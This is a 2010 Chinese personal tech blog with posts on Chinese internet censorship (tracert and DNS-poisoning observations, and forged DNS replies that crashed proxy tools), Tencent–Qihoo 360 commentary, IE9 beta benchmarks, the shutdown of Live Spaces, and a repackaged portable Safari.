2010年12月9日星期四

Niconico动画 遭封

2010年12月9日晚19点左右,离某阶级敌人获得的某奖颁发没多长时间了。
据说不少网站都遭到上面封杀。
Niconico动画就是一例。

下面是tracert结果:
C:\Documents and Settings\yksoft1.YKSOFT-PC>tracert www.nicovideo.jp

Tracing route to www.nicovideo.jp [202.248.110.243]
over a maximum of 30 hops:

1 * * * Request timed out.
2 * * * Request timed out.
3 4 ms 2 ms 2 ms 192.168.88.2
4 8 ms 5 ms 8 ms 222.247.41.73
5 3 ms 3 ms 2 ms 61.150.152.197
6 2 ms 2 ms 2 ms 222.247.31.21
7 4 ms 2 ms 2 ms 61.187.255.17
8 5 ms 2 ms 2 ms 61.187.255.254
9 11 ms 11 ms 12 ms 202.97.45.165
10 * 28 ms 17 ms 202.97.45.165
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 * * * Request timed out.

关键词为:.nicovideo.jp
这段时间也许实在是太敏感了,“太子”问题,某奖事件,YTMDY之类,上面的指令肯定越来越多的。。

2010年12月2日星期四

祝贺金山卫士开源计划启动

http://code.ijinshan.com/
2010年11月29日,国内安全业界(也可能是整个私有软件业界)发生了一件可能载入史册的事。金山旗下开发金山毒霸系列软件的金山安全公司,决定将他们的安全工具包产品——金山卫士以Apache 2.0协议逐步开源。虽然从现在看来开放的仅仅是系统补丁、隐私保护器两个比较小的程序,但是这对于在公关逐步超越技术的中国安全软件业界乃至整个桌面软件业界来说是个让人眼睛一亮的消息。这值得祝贺。
目前此网站仅仅是一个trac系统,仅有一两个人的6条ticket。源码仅仅以snapshot的形式发布,尚未有开放的hg服务(从snapshot的文件结构很容易看出金山卫士开源计划使用hg作为其版本控制服务)。希望金山安全兑现其诺言,在2个月之内开放更多的源码内容。
目前源码包内的源码均为适用于VC2005的,使用金山自制的框架,使用ATL;其中尚包含部分Windows DDK内容,我尚未进行编译调试。

update 12.6: hg已开放匿名clone hg clone http://code.ijinshan.com/hg

2010年11月7日星期日

马化腾VS周鸿祎之闹剧

这段时间周鸿祎奇虎和马化腾腾讯这两个老牌大流氓公司的疯狂争斗,表面上看导火索很简单,那就是QQ侵犯隐私事件。
前段时间(去年下半年)有人发现QQ(主要指“蜂鸟”之后的 QQ2009与2010)的进程疯狂读硬盘,然后在今年3月-4月左右又出现了用ProcessMonitor监控到QQ2009会扫描某些第三方软件的文件,少数版本(QQ2009 SP3等)甚至被发现会扫描IE的历史记录和Cookie等。事实上QQ是木马这一说法在从QQ2005时代开始在海外华人中就已经广为流传,但技术上的分析很快发现问题在其安装包捆绑的腾讯soso流氓插件的流氓驱动上,至于有反革命分子在被抓获后警方出示QQ聊天记录作为证据之类,乃腾讯服务器端保存所有记录的问题而并非QQ客户端偷窃隐私。然后对于旧QQ(2000-2008)侵犯隐私问题,没有出现过完整可信的分析,洋大人倒是对TOM-Skype有比较完整的神秘行为分析(请搜索Breaching Trust TOM-Skype)。后来,由于与Q币和腾讯游戏相关的QQ盗号猖獗,在06年开始腾讯作了个所谓的“QQ医生”。这个软件在QQ2007、2008时集成于官方QQ中,每过一段时间启动QQ时自动扫描一次系统关键部位,且能自动更新。当时由于其扫描时有明确的提示,并未招致网友的抨击。QQ2009经过最初的内测QQHummer、公测、早期版TM2008等几个与旧QQ共存阶段终于正式取代了整个旧QQ系列成为主流版本,很多人就发现“QQ医生”不再和QQ捆绑在一起而成为了独立的软件,但多出了一个按照“蜂鸟”架构开发的“安全中心”组件。Procmon监测到QQ进程尝试打开第三方软件的相关文件及其他文件,但并不能确定是QQ的哪个模块扫描的;但是有些精简版本的QQ2009却监测不到此问题。另外在中国目前的大环境之下,“老大哥”事实上具有查看任何人的任何“隐私”的权力,而目前国内大多数取得商业成功的桌面软件都采用“占领用户桌面”模式,个个都宣称用户数上千万,其必然对用户的相关信息,包括一些擦边“隐私”的信息(如软件安装情况,机器性能和磁盘分区情况)进行了收集和分析,并且大多具有类似木马的接收和执行指令能力(比如通过自动更新机制强制推送黑/白名单、推送广告通知等),一旦获得新指令或者更新信息收集模块就可以立即收集更大范围的信息。软件开发商通过占领用户桌面而收集了大量用户信息,而“老大哥”随时可以要求开发商提供它们,涉及敏感因素,因此对于桌面软件与用户隐私这个问题,多数国内软件企业从不正面提及。
而这次奇虎大规模掀起QQ隐私事件,我认为绝非真是“为用户着想”。在那些占领了大量用户桌面的流氓公司老板看来,用户对于他们就像民对于官一样,不过是赚流量、赚市占率从而赚钱的工具,“你们算个屁”;至于那些所谓“十万水军”“占领道德制高点”,其实是学着“老大哥”的样。其实为何奇虎从“隐私保护器”到“xx保镖”到“webapps”,弄得马化腾恼羞成怒却又暴露了事件“罪魁祸首”的QQ安全中心模块有能力根据更新内容在扫描到第三方软件存在的情况下防止QQ运行,根据一些观察,还是出于QQ扫描第三方软件安装目录的目的而非此行为侵犯隐私。这两年流行的一种“进一步占领用户桌面”的形式是所谓“软件管理器”,由“占领”方安装的客户端来管理许多第三方“常用”软件的安装、更新等。这种模式和苹果的App Store模式有点类似,都是提供统一的软件管理手段,不同的是App Store模式是Store提供发布平台,从开发商在Store中销售所获得收入中抽取一部分,App Store的收入主要来源于收费软件;而软件管理器模式中涉及到的软件通常为免费软件,软件管理器方不一定需要有用户支付手段,只是开发商购买“下载量”而已。而这个和用户隐私有什么关系呢?我认为在这个占领桌面、流量为王、装机量为王的时代,软件管理器需要了解所谓“常用软件”的装机状况,以便与软件开发商来商讨下载量销售的问题。软件管理器模式在国内最早成功的就是奇虎的360软件管家了,借助360卫士通过长期努力(铺天盖地的公关枪文宣传、‘水军’宣传,与盗版Ghost系统、部分网游进行捆绑分成)获得的巨大装机量,从而进一步控制了大量用户的桌面并获得大量推广收入。腾讯是国内IT企业中臭名昭著的“山寨大王”,什么新鲜服务、模式,洋鬼子的还是国人的,从QQ自身开始,基本上都如法炮制了个遍;由于有QQ这个垄断性的优势平台,腾讯所山寨的服务和产品,经常会将被山寨者压制甚至彻底逐出市场。年初腾讯就开始插手软件管理器领域,推出了“QQ电脑管家”。其实这软件是以前的“QQ医生”安全辅助功能与软件管理器功能的结合,对奇虎公司的主打产品360安全卫士展开了“腾讯模式”。这么多年来腾讯山寨了这么多服务,为何不像这次一样招来剧烈反应呢?那要看周鸿祎这个人了。这个人当年全球首创了有驱动级自我防卸载保护的IE插件3721、上网助手,山寨了洋人发明的流氓插件捆绑模式;在背叛了自己创造的3721后,马上调转炮口搞出了专门对付3721之流的360安全卫士,然后运用当年推广3721的手段加上强大的公关力量,使得360在3年内取得了3721 6年都达不到的装机量;对于竞争对手并不仅仅是写枪文抨击咒骂了事,而是运用360这个安全软件的“云查杀”能力直接攻击对手的软件。对于一个如此脾气暴躁(同样做安全,同样爱叫嚷的瑞星虽然能用关系借老大哥之力搞定前成员搞的微点,却不敢直接攻击其他杀毒软件)又有巨大的“被占领”桌面数作为实力的人,碰到有人山寨他的主力产品,然后私了不成(据说马化腾曾经收到过其从商谈到威胁的短信)当然会“拼死一搏”了。“山寨王”马化腾以前自恃没人敢挑战其对国内用户桌面的占领程度,从不高调回应任何关于其“山寨”的批评;但这次碰上奇虎先做阻止QQ文件操作的“隐私保护器”,再做曾经让某位soff进牢三年的QQ外挂这样的狠招,马化腾估计也懵了。去南山法院,能斗倒小小的陈soff,未必能斗倒有钱有强大公关能力的周鸿祎;仅仅“表示谴责”之类吧,看着周鸿祎用大量枪文和网评来占领道德制高点,有些不明底细的用户(他们和腾讯能赚到钱的那批用户重合度很高)可能从此离开QQ平台,这损失就不小了;而学周鸿祎,用腾讯的底层安全模块(tessafe)直接攻击360呢?那就是把自己降到和周鸿祎一个水平了,原本那些支持腾讯的也会抛弃他们。而马化腾最终选择的“自救”措施,还是通过QQ的安全中心检测360,检测到就拒绝运行。这一招也许周鸿祎开始没想到,但是很快就又有问题了。为何用户使用360,就无权使用QQ?你腾讯就是老大哥了?周鸿祎表面上稍微软了点,肯和马化腾谈判,暂时停止公开那个什么外挂;但实际上,他很清楚腾讯如此回应使得360在其用户中的道德制高点又增高了。
至于马化腾拉来的那帮“盟友”,其实是各怀鬼胎。可牛是原奇虎公司被周鸿祎气走的傅盛搞的,一开始就是瞄准了360的那批低端用户群做图像软件,后来又搞了杀毒,曾被老东家周鸿祎的“云查杀”直接攻击。金山是国内三大老牌安全厂商之一,其模仿360安全卫士概念出的金山卫士也被360卫士拦截过。这两家公司并没有和腾讯发生过任何直接摩擦的记录。但其他几个就未必了。首先就是搜狐了。腾讯结束了国内Web的门户时代,低端用户上网从首先开门户网站变成首先登录QQ,这本来就是对新浪、搜狐等门户起家的公司的打击;对于搜狐这几年占领用户桌面的工具搜狗拼音,腾讯作了山寨版的QQ拼音,虽然最终没有实现“腾讯模式”,但是也算双方的竞争关系了。百度在国内Web本身就是一垄断大佬,其国内市占率(而且还不是捆绑之类得来的市占率)可能超过QQ与360之和,其除了那个一直在测试的百度软件管家之外和360之间也就是当年百度搜霸的事情,早已是陈年旧事了,而反过来其与腾讯的竞争更多些(百度ID的有效数量可能不比QQ号少多少,而且百度基于百度ID的服务,除了没有邮箱和网游,并不比腾讯基于QQ号的服务少多少,而且至今都没有任何收费的迹象)。至于Maxthon,当年被360拦截的所谓证据就是两个360卫士的应用程序数据库,然后Windows默认浏览器这个问题,360卫士对所有浏览器修改这个都会有警告和拦截,而且似乎其他的安全软件也可以设置来拦截这个,并非仅仅是360拦截Maxthon而已;另外,Maxthon还是当年对腾讯的浏览器TT竞争的胜利者。估计这次来支持腾讯,Maxthon是跟风或者受邀而来。
两轮搏杀下来,那些低端用户早已被双方满天飞舞的枪文和网评忽悠得云里雾里,对双方半真半假的官方回应感到无所适从了。双方似乎都在要求老大哥出来评理;而那些在360用户群之外,也在腾讯赚钱的群体之外的,多半至今也不过一笑置之。QQ在使其安全组件失能后,就不会看到360就禁止运行了;那个360做的QQ外挂,其实远远不如目前的其他QQ蜂鸟系外挂如HookQQ、KillQQAd之类强悍。周鸿祎利用用户树立道德制高点,马化腾挟持用户以令对手,和我们这群人无关。不管这两流氓打架结果如何,笑到最后的至少是我们。

2010年10月1日星期五

为何某些代理服务软件会crash?

大概在8月底的样子,几个使用者众多的代理软件在运行时突然普遍性出现错误。如下图所示:

这是怎么回事?本来当时就准备抓包看看的,但是一直没时间,直到现在才能腾出时间来抓包分析一下。
首先拿使用者最多的某软件7.02版来测试,我抓包使用的是著名的开源网络工具Wireshark。关闭所有访问网络的程序(包括Windows Update服务),开始抓包,运行此软件7.02版,出现多次错误提示框,但最后能成功连接代理服务器。停止抓包,我们来看看:

软件发出的第一个数据包是个ping,目的地好像是微软的一个服务器,没收到回应。不过第二个包就是软件真正开始工作了。软件首先向某个DNS服务器发出对某个子域很长且似乎是根据某种算法生成的域名的MX请求。
问题就在于在第二个包发出的极短时间(20毫秒)内收到的第三个包。这个包看上去来自第二个包的目的服务器,但是其DNS响应部分却是个错误的、仅有5字节长度的数据。

注意这个包的TTL是131。让我们再看下一个包,第4个包,看上去也是第2个包的目的服务器所返回的:

包2原本是一个MX请求,而这个包却明显是个A应答,这显然是答非所问;而且仔细看返回的那个IP地址,如果你有看过我的《Google https阵亡和第0层黑IP表更改》就知道,这明显是一个DNS劫持的包。但是在这里,正因为它答非所问,代理软件可以直接将其忽略,因此起不到劫持的作用。其TTL仅为70,很可能和包3来自不同的服务器。
真正的响应包是请求包发出后250多毫秒才收到的,是一个MX应答。

其实际内容明显是加密的数据,用在代理软件里应该是代理IP或者下一层得到代理IP的地址之类。TTL为42,说明真实响应包和包3、包4来自不同的服务器。请注意这个dns服务器的管理人记录,它也证明了这个包才是对包2的真实响应。
此软件同样会通过A包来询问地址,不过这种就会被类似包4的劫持包所劫持(除非软件自己实现了DNS,能够分辨劫持包和真实包)

对其他会出错的代理软件按同理抓包,结果非常类似,都出现了大量错误的DNS响应包。有意思的是,这几个软件中多数通过TCP上的自定义协议、使用随机端口与代理服务器通信,也有使用SSL、TLS通信的,还有一个软件通过UDP,将数据包伪装为ISAKMP协议的数据包与代理服务器通信。
处理畸形的DNS响应不当,以前Windows的DNS服务就出过此类BUG,但是它的结果是发送大量DNS请求,最终能导致远程DNS污染而并不会使DNS服务出错;而这里老大哥使用的方式,应该是通过调试找到了此类代理软件DNS部分(或者其与系统DNS服务间的接口,如果其DNS服务并非自己用UDP实现)的BUG并加以利用。因此在接到用户报告后,这些软件的下一个版本全都修复了此BUG,不再因错误DNS响应包而出错。另外,这些软件的界面线程、错误报告线程和代理服务、网络控制线程应该是分开的,因此如果忽略出错提示,软件仍然有可能成功实现代理服务器功能。
另外在对某软件7.02版的抓包中,发现此软件不仅通过DNS MX请求和A请求来获得代理服务器地址,也能通过一些特定的Web地址来获取。

据我的查证,第一个是Google为移动设备而开发的网页重格式化代理,第二个是Google Translate,通过他们访问某个指定网址获取服务器地址;第三个通过Appspot上的某个应用获得服务器地址;那两个Yahoo视频的用户首页上的个人信息中,存在着加密的数据,应该也是服务器地址相关的。这些地址直接上去都会无法访问,估计老大哥的人一直在跟踪抓包、分析关键词;但是在抓包中似乎访问都成功了,没看到几个异常的、快速出现的TCP RST包跟着,我没有仔细调查其HTTP头的内容,但是肯定在这里面有文章。
懒得继续看,反正他们的加密方式我搞不清。我把所有抓包文件丢上线,想看的自己继续看吧。。http://www.mediafire.com/?9eyq1vd1q13bdcd

2010年9月28日星期二

Windows Live Spaces 灭亡前夜——YKSOFT Systems 去处如何?

Photobucket
非常遗憾,YKSOFT's Home将不能迎来它的五周年生日了。作为ballmer对所有反馈和批评的最终回应,微软决定在2011年3月关闭整个Live Spaces服务。也许这就是微软08年以来学习苹果,改变其开发方式的最终结果,砍掉一些越来越与他们的直接利益所不相关的东西。
自从2006年4月在此建立blog以来,这里一直是我的主blog。在四年多的使用过程中,我见证了它是如何一点一点衰落的。从技术层面来看,最初Live Spaces只有在IE下才显示在线编辑器,只有在Opera(9.x)下才显示不正常;然后,我发现Live Spaces懒惰和愚蠢地通过useragent识别浏览器,为IE、Firefox和其他浏览器准备了三套不同框架,结果导致非Firefox的Mozilla系列浏览器打开直接因为content-type的错误而导致将网页误解析为XML,导致无法显示;我抱怨了,也反馈了,结果竟然是微软直接放弃第三套框架,不认识的useragent干脆直接重定向到移动版Live Spaces,使得我不得不把SeaMonkey的useragent上加上Firefox才能使用,而且功能仍然不完全。另外,Live Spaces基本没有防垃圾评论能力,这使得我在2008年底一气之下关闭了本blog的评论功能。
近5年来原本在Spaces上有blog的朋友大多要么转到了自己的付费虚拟主机,要么转到了其他访问简便的免费服务上。我的所有其他blog,都被死死地封锁着不容易上去,因此更新频率非常低。微软砍掉Spaces应该是他们不努力开发Spaces而自找的结果,不过也有可能Spaces服务本来就是外包产品,微软砍掉并没有很大的影响。我现在得考虑4年来这么多文章该往哪里迁移了。
微软提供的迁移路径是到Wordpress.com,但我并不愿这么做。WP现在(3.x)已经是一个非常庞大的怪物,经过改造甚至可以升级为类CMS系统,这要是服务器本身快还好说;但是WP自己的服务Wordpress.com,在国内目前虽然没有被封锁,但是有多次被封锁的经历,其访问速度本身比Spaces还要慢,因此我不会选择它。我在其他地方建立的WordPress blog版本过老,而且又是免费空间,我也不会把东西迁移到那里去。比较好的选择是Blogger,虽然它被封锁,但是作为Google的主打服务之一,相信它不会像Spaces那样,说完蛋就完蛋。
当初GeoCities的寿命是1995-2009,而现在Live Spaces的寿命则是2004-2011。当然后者的用户数(据说也有3000万)和历史沉淀远远不如前者,当然也不会有人为Live Spaces建立一个所谓的Reocities镜像站。但是在2011年1月(Spaces能更新的最后期限)前,我仍然会坚守在这里,见证Spaces的灭亡。至于SkyDrive,相信由于与在线Office的结合,它将继续存在下去。

2010年9月18日星期六

IE的突破:06年老机与IE9 Beta

IE9在一年的疯狂炒作后,终于出了第一个Beta版本。我这几天比较忙,直到今天才抽出时间来体验这个Beta版本。
我首先说明一下我的硬件与软件环境吧。机器是最后一代使用IBM标志的ThinkPad,CPU是最早的Intel移动双核Core Duo T2300,其不支持SSSE3、SSE4,更不支持64位。内存仅有1GB。显卡为Mobility Radeon X1300,是当时的最低端移动独显,仅支持DirectX 9.0c,因此什么Direct2D、DirectWrite之类新硬件加速API,与其无缘。使用的操作系统是Windows 7 Pro 32位版,几乎未安装任何更新。
安装还算比较顺利,虽然有个自动下载的更新安装不成功,但是IE还是顺利升级到了9.0 beta版。
ie9.png picture by yksoft1
图1 IE9的界面
IE 9.0 Beta使用起来的感觉和Chrome/Chromium、IE8其实非常接近,地址栏、标签栏合为一体,将默认的工具按钮缩减为标签栏右侧的主页、收藏夹和选项菜单三个,默认新标签也改成了类似Speed Dial的东西。不过和IE8相比有一个问题:按Alt仍然能呼出菜单,但是没有发现任何可以使菜单固定出现的选项,看来微软是真的准备在全系统范围放弃Windows 95界面规范而改成类似ribbon的东西了。还有个问题,我看不到任何进度条;这样当页面打开速度慢时,感觉令人非常难受。
至于那些所谓社会化功能,我完全用不到。因此就不再多说了。所谓HTML5视频,Youtube上的那些由于使用H264,因此可以支持。
http://i121.photobucket.com/albums/o220/yksoft1/ie9_test/ie9html5.png?t=1284803829
图2 HTML5支持
值得一提的是,IE从IE4开始就基本没变过的那个简单的下载窗口,这里彻底改掉了。如下两图,IE9添加了一个类似Firefox的简单下载管理器(其实在当年的IE for Mac中就有类似的):
iedown0.png picture by yksoft1
图3 新的下载界面
ie9down.png picture by yksoft1
图4 简单的下载管理器

令人不习惯的是,下载界面根本不显示下载的瞬时速率。估计是因为下到一半卡住这种情况让微软IE的UI开发人员怎么着都看着不舒服么?
目前我还没发现多少IE-only的网站在IE9下出现问题,原有在IE8下调试正常的支付宝和工行网银控件也工作正常。
下面来玩玩现在浏览器界最流行的——跑分吧。
首先是JS测试,由于什么SunSpider之类可能带有偏向性,我选择了我所一直信任的Celtic Kane JS速度测试系统。Celtic Kane网站上的JS测试有两个版本,09版(http://celtickane.com/labs/web-browser-javascript-benchmark/)和10版(http://jsbenchmark.celtickane.com/run.aspx)。另外作为当年让我开始关注JS速度的纪念,我还保存了06版(http://users2.nofeehost.com/yksoft1/jsspeed/jsspeed.htm)。下面是各版本Celtic Kane JS速度测试的比较结果,使用了IE9 Beta、今天(2010年9月18日)上午自己编译的Firefox 4.0b7pre trunk,Chromium 7.0今天最新的snapshot,以及Opera 10.7beta 9046。所有浏览器均测试20次,结果取其平均值。
下图是09版本的测试结果:
http://i121.photobucket.com/albums/o220/yksoft1/ie9_test/ck2009.png?t=1284798955
图5 2009版Celtic Kane测试
可以看出,IE9在2009版测试中,成绩超越了Firefox 4.0b7pre,仅次于Chromium 7.0。这比起IE8、IE7当年比其他浏览器慢上N倍的JS速度,是一个非常巨大的进步,这说明IE的开发组并不是做不出一个高性能的JIT Javascript引擎。
下图则是最新的、更注重实际应用的2010版测试结果。
http://i121.photobucket.com/albums/o220/yksoft1/ie9_test/ck2010.png
图6 Celtic Kane 2010版测试结果
在2010版中,已经开始从跑分向实际应用优化的Chromium大大超越了Opera;而IE9和Firefox 4.0b7的得分不相上下。但是,四个浏览器比起同一环境下2006、07年的浏览器跑这个测试不超过100的分数,已经提升了很多倍,这正是第二次浏览器大战给整个业界带来的突破。

下面是老的2006版测试结果。
http://i121.photobucket.com/albums/o220/yksoft1/ie9_test/ck2006.png
图7 Celtic Kane 2006版(备份)测试结果
2006年时第二次浏览器大战尚在初期阶段,IE6只有Firefox、Opera两个挑战者。当时AJAX技术也刚刚起步不久,像现在这样复杂的Web应用程序还没有真正大量出现。当时的JS性能测试,仅仅是对一些最简单操作(基本数学运算、数组、字符串、随机数、Try/Catch、DOM速度、AJAX定义)进行测试,而其中很多实现方法在新环境中已经有了很大变化,因此,其结果对于现在高度发达的Web应用环境的相关性已经比较少了。现在不管为跑分优化还是为应用优化的浏览器,都不可能为06版的此类测试优化。结果,IE9这个刚刚才开始对现代AJAX环境(gmail、facebook之类)优化的浏览器,在老的实现方法面前当然不会表现得太好。
对IE9的炒作很大程度上集中在“硬件加速”,但是在没有硬件加速能力的环境下,IE9的图形表现会怎么样呢?
我们先用微软自己为炫耀IE9图形性能而制作的两个页面进行测试:Psychedelic Browsing(http://ie.microsoft.com/testdrive/Performance/PsychedelicBrowsing/Default.html)和Speed Reading(http://ie.microsoft.com/testdrive/Performance/SpeedReading/Default.html)。之所以选择这两个,是因为它们完全不需要用户操作就能给出结果。结果如下图:
http://i121.photobucket.com/albums/o220/yksoft1/ie9_test/ie9ot.png
图8 Psychedelic Browsing与Speed Reading测试结果
可以看出,IE9在没有硬件加速的强大支持下,其图形性能比Firefox 4.0b7仍然要好些,但是完全无法和Chromium 7.0相比,和最新的Opera比也稍差。据其他来源,在有硬件加速的情况下,IE9 Beta的图形性能空前强悍,但是我是没法亲身体验了。
下面用Mozilla的一个图片性能测试(http://demos.hacks.mozilla.org/openweb/HWACCEL/)来做比较。如下图:
http://i121.photobucket.com/albums/o220/yksoft1/ie9_test/moztest.png?t=1284800952
图9 Mozilla硬件加速压力测试
本测试本来是为了炫耀Firefox 3.7某些trunk支持Direct2D下的图形速度的,但是也可以用来测试无硬件加速环境下浏览器的基本显示速度。这个测试中,Firefox 4.0b7pre再次垫底,其他三个浏览器不相上下。
从图形测试来看,即使没有硬件加速的帮助,IE9的图形显示性能由于运用了全新的图形API,仍然有很大的进步。其他三个作对比的浏览器目前在默认状态下仍然使用GDI做为Windows图形输出,但是Firefox的性能劣势非常明显。
文章最后,我想对这四个浏览器稍微说几句。虽然我是多年Netscape/Mozilla/Firefox/Seamonkey用户,对Mozilla有深厚的感情,但是Firefox自从在当年Google广告的强大支持下占据浏览器市场老二地位后,醉心于UI的开发而没有集中考虑JS和图形显示性能的提升,到Chrome横空出世后,Firefox立马处于被动状态,重写了两次JS解释器JS性能仍然无法和V8相比,3.7/4.0开发过程中乱改UI,盲目效仿Chrome,越做越丑。以这个趋势下去,Firefox很快就将从老二掉到老三。Opera在06年拥有Windows下最好的JS速度和界面描绘速度,虽然后来Opera利用欧盟自我炒作,开发上犯了与Firefox相似的错误,导致其本来就很低的市场占有率进一步下降,但2009年末以来,Opera的性能开始迎头赶上。值得一提的是Opera是最后一个能支持Windows 98系统的现代浏览器,对于老机器意义重大。至于Chrome,其作为Google云计算野心的最直接载体,其一出来就以JS性能为中心进行优化,而随着Chrome OS的开发和Google云计算服务的不断发展,Chrome也开始注重应用性能的优化。这使得Chrome在所有浏览器中性能名列前茅,但是其对系统资源的要求稍大。
IE9是微软向Firefox、Chrome等竞争对手发出的挑战,IE不是“瘦死的骆驼”,它也能跑分,它也能跑得快!由于IE6的多年荒废,IE9一上来跑JS可能跑不到Firefox那样快,但IE9是微软自家产品,在Windows下拥有主场优势(对各层结构的高度认识、第一时间运用新接口、未文档化API之类,当年微软垄断案其实很大原因就是微软滥用了这一优势),它一下子JS速度可能没法完全跟上来,但是它可以用DX11最新提供的Direct2D/DirectWrite硬件加速,来达到瞬间翻盘的效果。
可以说IE9的出现是第二次浏览器大战的“诺曼底登陆”,原先被各浏览器所嘲笑的IE一下子又站起来了,以新姿态投入战场。依照目前局势,Firefox的处境可谓最为危险,好在从Jaegermonkey引擎的引入开始Firefox好像又开始振作了;Chrome将继续追逐JS性能的顶峰;至于Jobs的Safari,它凭借苹果半封闭(Mac OS X)/封闭(iOS)生态系统的强大固有优势,可以继续我行我素;Opera一向保持中立,但是可以相信曾当过性能王者的Opera有一天其性能可以再次赶上来。不管怎么样,浏览器的竞争,其最终受益者仍然是用户。

9.20凌晨:是Pro,Win7根本没有business版,笔误。。

2010年7月29日星期四

Google https阵亡和第0层黑IP表更改

Photobucket

Google不知为何要把好好的https://www.google.com的搜索结果页,指向新域名encrypted.google.com(如果我没有记错,slashdot上个月曾经有提到Google为满足米国部分学校/单位的网络过滤需求而专门搞了encrypted.google.com,这样正好满足了上面某些人的需求,不必要分析Google https的证书了)。这下好,又一个好域名进入第0层DNS污染的黑名单了。至于IP的问题,封不封都是一样的,以前没有encrypted.google.com的时候,你封Google https的IP和域名,就等同于封了整个Google英文搜索,影响面太大;现在这一来,Google就只能怪自己了。
我去年发过一篇文章“如果一个域名解析到以下八个IP之一 就证明有人害怕它的存在”,现在这个机制似乎有改变,至少那个表现在全换掉了(可能是那个表中出现了可访问的服务器,为防止造成DDoS,换掉了)。比如nslookup下这个不可能被解析(保留域名前面跟着关键词域名)的域名:encrypted.google.com.a.com
nslookup encrypted.google.com.a.com
Server: resolver1.opendns.com
Address: 208.67.222.222

Non-authoritative answer:
Name: encrypted.google.com.a.com
Address: 93.46.8.89

nslookup encrypted.google.com.a.com
Server: resolver1.opendns.com
Address: 208.67.222.222

Name: encrypted.google.com.a.com
Address: 203.98.7.65


nslookup encrypted.google.com.a.com
Server: resolver1.opendns.com
Address: 208.67.222.222

Non-authoritative answer:
Name: encrypted.google.com.a.com
Address: 159.106.121.75

几个那篇文章没有的IP。我实验了超过100次,获得了10个新的“特殊”IP:
8.7.198.45
37.61.54.158
203.98.7.65
59.24.3.173
243.185.187.39
46.82.174.68
159.106.121.75
93.46.8.89
78.16.49.15
159.106.121.75
也就是说,只要有哪个域名解析到这10个IP之一,就证明“上面”不喜欢它,不希望它被解析出来——尽管这里实验中是不应该解析出来的域名“被解析”了。

Safari 5.0.1 for Windows 免安装半绿色版

Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8
Photobucket
这个新版本在功能上最大的变化就是可以直接在UI中启用扩展。以前Adblock之类强大的扩展是Mozilla系浏览器值得自豪的特点,然而现在Chromium和Safari都已经官方支持了扩展。比如,Adblock for Safari:
Photobucket
当然这个Adblock的黑名单语法和Mozilla中的Adblock Plus有很大区别,我还没研究该怎么用好它。而且,如果你像图中那样输入一条规则“*##HTML”并保存,那么你的Safari除非禁用这个扩展或者整个扩展功能,就几乎废了:任何网页,甚至包括扩展的设置网页,由于HTML树的根节点被屏蔽,都别想看到。解决的唯一办法是找到那个扩展的本地存储(Win下在用户本地设置目录的Safari子目录如%UserProfile%\Local Settings\Application Data\Apple Computer\Safari、%UserProfile%\AppData\Local\Apple Computer\Safari的LocalStorage目录,Mac我没装过Safari5,搞不清,不过应该在~/Application Support/Safari之类地方),找着那个safari-extension_com.betafish.adblockforsafari-[不明序列].localstorage,删除(这样会丢失自定义黑名单)或者用能开sqlite数据库的工具打开删掉*##HTML的记录,否则Adblock就成功DoS了整个Safari。还有,这个AdBlock看上去并不能阻止被block的文件被下载,就算block了 HTML元素,活动和状态栏里还能看到其引用的东西在被下载。

我这次又做了半绿色版,发现VC8运行库升了级,其他好像没什么变化。另外,我又可以畅通无阻地使用MediaFire了。
http://www.mediafire.com/file/ao7amj3zcbf5z5r/Safari501.7z
当然SkyDrive也传了。
http://cid-66b9967ec9d22dd4.office.live.com/embedicon.aspx/New1/winsafari/Safari501.7z

2010年7月27日星期二

关于“狗 fsck 的腾讯”

好久没有写过这样短促的博文了。腾讯作为中国最赚钱的IT公司,他基本是一直处于挨骂的状态。这篇某国内著名枪文杂志(可以说,除了黑客杂志、部分开发杂志外,国内所有的IT报纸杂志都已经变成或者将要变成枪文机器)的文章,大概是从三个方面来骂腾讯的:
1、腾讯是国内IT业新兴创业公司的天敌;
2、腾讯什么都做,什么都想做;
3、腾讯是“山寨之王”,把所有的山寨货集中到QQ这一核心上。
其核心还是第三条。腾讯也许确实是“山寨王”,其核心业务QQ当年就是学着ICQ的模式玩起来的。然而,说到国内的那些被腾讯“山寨”了的东西,其自身未必不是山寨货。首先看暴风影音吧,当年没有商业化的时候,做解码包+mpc这个模式,其实是模仿了一种随着盗版视频的普及而应运而生的codec pack模式,把各种各样原来需要单独安装的codec打包,其典型例子是以前国外的K-Lite Codec Pack。由于其非商业性质,那些codec虽然牵扯到成千上万的版权、专利问题,但是根本不值得让版权/专利所有者出大笔律师费和大量时间去告他们、写C&D信(不知道这是什么的,请自己查下DMCA)之类。尤其是在中国的老暴风这些,可谓天高皇帝远,那些版权/专利所有者更是鞭长莫及了。到了06年还是07年,一家名为酷热影音的公司在强大的VC支持下突然崛起,收购了暴风影音品牌,改名暴风公司,然后利用暴风影音品牌的强大影响力,以流氓手段,抢占了无数用户的桌面。新的商业化的暴风影音(其实是酷热影音),成为了暴风公司的广告推送客户端,这样下来,暴风公司一下子获得了大量的利润。但是,暴风影音的核心和以前一样,还是各种违反使用协议的盗版解码器和违反开源协议发布的开源解码器。Real起诉了暴风一次,虽然仅获得6位数的赔款,但是至少提醒他们,他们赚钱的手段不太正。QQ影音是一个和暴风类似的东西,但是它不包含广告。虽然它也拥有打包播放器的劣根性,但是说它山寨了暴风,则完全是暴风自己的妄想——因为暴风本来就不是什么“创新”。同理,360说QQ医生和它抢市场,难道360就不是和洋大人的那些Avast之类学来的?对腾讯“山寨”他们不满的公司,自身那点“创新”也许就是山寨洋大人早就搞出来的东西而已。
而且,腾讯的模仿并没有“杀死”那些被模仿者,拍拍没有战胜淘宝,搜搜完全无法和百度相比,输入法、播放器、超级旋风等等东西,在市占率上几乎无一称得上“胜利”——为何要害怕腾讯山寨自己?真正强大的公司比如百度和阿里巴巴,是根本不怕腾讯山寨他们的业务的,他们自己也有IM,但是也不怕腾讯QQ——阿里旺旺在淘宝/阿里巴巴的交易中具有作证据的效力,QQ光在这一点上就不能和其竞争。
